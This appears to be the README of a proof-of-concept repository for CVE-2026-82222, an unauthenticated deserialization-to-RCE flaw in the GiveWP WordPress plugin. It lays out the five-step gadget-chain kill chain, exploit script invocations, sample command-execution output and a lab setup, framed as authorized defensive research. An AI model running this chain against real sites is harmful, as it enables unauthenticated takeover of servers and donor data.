sajjadsiam/cve-2026-82222-pocProof-of-concept and local DDEV lab for CVE-2026-82222, an unauthenticated PHP object injection to RCE in the GiveWP WordPress plugin, with cURL and Python exploit scripts.
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Affected | GiveWP (Donation Plugin) <= 4.16.7.1 |
| Patched | 4.16.7.2 |
| Advisory | Patchstack |
AUTHORIZED TESTING ONLY. This repository is for education, vulnerability research and testing systems you own or are explicitly permitted to test. Unauthorized use is illegal.
This repository exists to help security professionals understand, detect
and defend against CVE-2026-82222. All demonstrations are designed for a
local lab (lab/) that you run on your own machine. The PoC writes
nothing to disk and changes no plugin settings — command output rides in the
HTTP response of the trigger request only. See SECURITY.md for
the full scope and reporting policy.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│ ├── setup.sh # one-command lab build
│ ├── set-givewp-version.sh # swap vulnerable/patched GiveWP versions
│ ├── .ddev/config.yaml # DDEV project config
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL exploit script
│ ├── poc.py # Python exploit script
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technical write-up + reachability matrix
│ ├── BURP-MANUAL.md # Burp Repeater walkthrough (request/response)
│ └── CURL-POC.md # copy/paste cURL walkthrough
├── SECURITY.md # scope, reporting and safe-use policy
└── LICENSE
Four unauthenticated requests plus one trigger:
users_can_register and hands out authenticated WP cookies.TCPDF → Symfony Session →
DonorFactory → system) in the account's last_name meta field.give_last; GiveWP fills the name
from the DB, unserializes the gadget with allowed_classes=false, and
serializes the live object graph into wp_give_sessions.unserialize(); TCPDF::__destruct() reaches
call_user_func_array('system', [cmd]). Output appears in the HTTP
response — nothing is written to disk.Full details: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
Requires Docker + DDEV.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
Both PoCs are single-target by design — there is no batch or mass-scan
mode. Run them only against the lab in lab/ or systems you are authorized
to test.
Expected success output (command id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | Status |
|---|---|
| <= 4.16.5.1 | Vulnerable — default install is fully reachable |
| 4.16.6 – 4.16.7.1 | Vulnerable — requires a legacy (non-V3) form; registration needs give_register_nonce |
| 4.16.7.2 | Patched |
This repository is provided for educational and defensive security research purposes only. The included code demonstrates a documented vulnerability so defenders can build detections, verify patches and test their own systems.
The authors are not responsible for any misuse or damage caused by this material. Do not use it against any system without explicit authorization — doing so may violate the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide. See SECURITY.md.
MIT — see LICENSE.